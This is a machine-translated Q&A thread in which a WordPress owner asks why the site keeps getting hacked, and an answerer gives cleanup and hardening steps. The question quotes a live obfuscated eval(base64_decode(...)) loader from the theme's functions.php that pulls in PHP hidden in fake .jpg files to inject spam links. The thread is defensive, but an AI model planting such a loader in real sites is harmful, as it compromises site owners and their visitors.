Wordpress 网站不断遭到黑客攻击

use*_*124 2 wordpress

我有一个 Wordpress 网站,它不断被黑客入侵。据我所知,正在进行以下更改:

该文件顶部有一些额外的 PHP 代码:

wp-content/themes/enfold/functions.php

如下:

eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));
Run Code Online (Sandbox Code Playgroud)

并且正在创建 4 个新的 jpg 文件:

/wp-includes/images/geo.jpg

/wp-includes/images/save.jpg

/wp-includes/images/magic.jpg

/wp-includes/images/links.jpg

这些不是真正的 jpg 文件,因为它们没有打开,但是使用文本编辑器查看它们会显示文本和其他 PHP 代码。

从查看 PHP 代码来看,它似乎试图将一些垃圾邮件/广告链接注入到我的 Wordpress 帖子中。

我一直删除这些文件,我安装了一个安全插件,删除了管理员登录,更改了我的所有密码,但这些文件每隔几天就会继续更新/创建。

我试图了解这是怎么可能的,以及接下来我需要做什么来阻止它。

Obm*_*nen 6

首先 -不要恐慌

此时安装防病毒或安全插件几乎没有帮助 - 恶意代码已经可以访问服务器。

1 - 更改FTP, mysql, DB, Cpanel, WHM, SSH(如果不需要,请禁用)等任何具有访问权限的密码。

3 -检查你的服务器(如所有文件夹cgicgi-binftp 等..)删除所有wordpress文件夹(除wp-content),和所有其他奇怪的文件。删除所有主题和所有插件并wp-content手动仔细检查其余部分。备份数据库并手动检查它。

3.1 - (EDIT 1) - 禁止在 Cpanel/WHM 中使用索引。并阅读下面的 .htaccess 保护。

2 - 将新的 wordpress CORE 文件上传到OWN 目录(不是 root )并将其重命名为其他内容(不是wpwordpress)。

3 - 更新插件和主题 - 不要复制您拥有的插件和主题,而是从 wp 插件存储库安装新的、更新的插件和全新的干净主题。必要时手动检查。

在您的主题中,检查所有formsinput fields,并检查输入的正确验证。

4 - 更改wp-config. 所有的哈希值等。创建一个新的数据库和用户和新密码。在注入之前手动检查数据库备份。

4.1 - (编辑我)我忘了提到 - 还要更改数据库前缀。不要离开wp

5 - 更改所有 wp 用户密码和用户名。如果您有一个拥有数百名用户的开放站点,那么请编写一个脚本来强制每个人更改密码。如果您只有十几个用户,请手动更改它。当我说所有 - 它包括默认管理员用户(来自过去的版本)

6 - 一段时间后,检查您的服务器日志,看看伪造图像文件的 404 消息是否来自单个 IP 地址(可能不是) - 如果是 - 阻止它。

7 - 除了小心,你无能为力。这是很多工作,但不要偷懒并遵循所有步骤。否则不仅仅是这个站点,整个服务器都可能受到威胁。一次又一次 ,。

不再发生这种情况的准则:

  • 选择 强密码 。- 我们都不喜欢看起来像的密码aDf34HG§*#sFGT,但它们很有帮助 - 特别是在DB或其他自动化任务上。对于用户 - 强制至少使用一个符号和一个字母。

  • 不要安装您不知道、不完全理解或从可疑来源(all-wp-premium-themes-for-free-and-direct-download-all-plugins-for-free等)下载的主题和插件 。

  • 保持 wordpress 核心文件更新。

  • 每隔一段时间手动检查一次服务器。

.htaccess

一些指令可以防止(或至少尝试)这种情况再次发生。

WordPress 根目录下的 .htaccess 文件。

#Disallow indexes 
Options All -Indexes

# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>

# WPhtC: Protect .htaccess file
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
</files>
Run Code Online (Sandbox Code Playgroud)

机器人.txt

Disallow: /wp-*
Run Code Online (Sandbox Code Playgroud)

您可以做的另一件事是在登录管理员时强制用户(和您自己)使用 SSL ( HTTPS ):

define('FORCE_SSL_LOGIN', true);
Run Code Online (Sandbox Code Playgroud)

之后 - 您还需要查看您的数据库以查看是否有奇怪的列/表/条目/用户。例如,如果您的网站经常被重定向 - 检查字符串等 .. ( eval(), exec()..)

您还可以将众多安全插件中的一些用于核心校验和其他上述php调用。

还有其他更复杂的事情,尤其是在 APACHE 方面。如果我有更多时间,我会在此处发布博客条目和链接。但是上面写的是一个好的开始。